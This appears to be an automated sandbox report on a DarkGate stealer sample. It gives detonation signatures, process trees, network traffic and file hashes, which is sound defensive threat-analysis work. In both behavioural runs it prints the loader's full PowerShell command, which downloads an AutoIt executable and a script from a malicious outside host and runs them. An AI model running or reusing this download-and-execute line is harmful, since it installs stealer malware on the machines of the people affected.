Malware Analysis Report

2024-11-30 11:11

Sample ID 231107-r15ybabf79
Target 07112023_2240_5f475d11b0914f11.zip
SHA256 27ad82073f21316b59443e53a8f76ded797fadff3e1ef74c968dd84914671778
Tags
darkgate user_871236672 stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

27ad82073f21316b59443e53a8f76ded797fadff3e1ef74c968dd84914671778

Threat Level: Known bad

The file 07112023_2240_5f475d11b0914f11.zip was found to be: Known bad.

Malicious Activity Summary

darkgate user_871236672 stealer

DarkGate

Blocklisted process makes network request

Downloads MZ/PE file

Checks computer location settings

Executes dropped EXE

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Checks processor information in registry

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-11-07 14:40

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-11-07 14:40

Reported

2023-11-07 14:43

Platform

win7-20231025-en

Max time kernel

121s

Max time network

142s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\5f475d11b0914f11.js

Signatures

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\5f475d11b0914f11.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351/msiasfgadcz' -OutFile 'asfgadcz.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'asfgadcz.au3'"; Stop-Process -Name "WScript"

Network

N/A

Files

memory/2132-4-0x000000001B230000-0x000000001B512000-memory.dmp

memory/2132-5-0x0000000002090000-0x0000000002098000-memory.dmp

memory/2132-6-0x000007FEF51D0000-0x000007FEF5B6D000-memory.dmp

memory/2132-7-0x0000000002950000-0x00000000029D0000-memory.dmp

memory/2132-8-0x0000000002950000-0x00000000029D0000-memory.dmp

memory/2132-9-0x0000000002950000-0x00000000029D0000-memory.dmp

memory/2132-10-0x000007FEF51D0000-0x000007FEF5B6D000-memory.dmp

memory/2132-11-0x000007FEF51D0000-0x000007FEF5B6D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2023-11-07 14:40

Reported

2023-11-07 14:44

Platform

win10v2004-20231020-en

Max time kernel

86s

Max time network

150s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\5f475d11b0914f11.js

Signatures

DarkGate

stealer darkgate

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\tepp\AutoIt3.exe N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\tepp\AutoIt3.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\tepp\AutoIt3.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\5f475d11b0914f11.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351/msiasfgadcz' -OutFile 'asfgadcz.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'asfgadcz.au3'"; Stop-Process -Name "WScript"

C:\tepp\AutoIt3.exe

"C:\tepp\AutoIt3.exe" asfgadcz.au3

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 73.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 208.194.73.20.in-addr.arpa udp
US 8.8.8.8:53 163.252.72.23.in-addr.arpa udp
US 8.8.8.8:53 161.252.72.23.in-addr.arpa udp
US 8.8.8.8:53 8sjimonstersboonkonline.com udp
US 82.117.253.136:2351 8sjimonstersboonkonline.com tcp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 136.253.117.82.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 82.117.253.136:2351 8sjimonstersboonkonline.com tcp
US 8.8.8.8:53 198.1.85.104.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 2.136.104.51.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 23.236.111.52.in-addr.arpa udp

Files

memory/2776-0-0x00000293246A0000-0x00000293246C2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lt034bnl.k1f.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2776-10-0x00007FFA7E220000-0x00007FFA7ECE1000-memory.dmp

memory/2776-11-0x000002930B790000-0x000002930B7A0000-memory.dmp

memory/2776-12-0x000002930B790000-0x000002930B7A0000-memory.dmp

memory/2776-13-0x000002930B790000-0x000002930B7A0000-memory.dmp

C:\tepp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

C:\tepp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

memory/2776-27-0x00007FFA7E220000-0x00007FFA7ECE1000-memory.dmp

C:\tepp\asfgadcz.au3

MD5 a70fcfc7aa30e9510e317ace61e36d58
SHA1 673f520759ece31f36b436c9a66f301bcdaed96d
SHA256 89b9d335c4c669acf78b86ac3f57574de82aa2edd7c2415e32c596b01f5bb5b3
SHA512 9ce83dc4336dcc08622d22d0ab71bf0327b8851bced36fcd237087bb7ad0f109d4b0d4a1a2438ac638886999c6693bb0a8d1e776d81f9a1e50db17ad82b8b2dc

memory/688-30-0x0000000004130000-0x0000000004330000-memory.dmp

memory/688-31-0x0000000004EF0000-0x0000000005085000-memory.dmp

memory/688-32-0x0000000004EF0000-0x0000000005085000-memory.dmp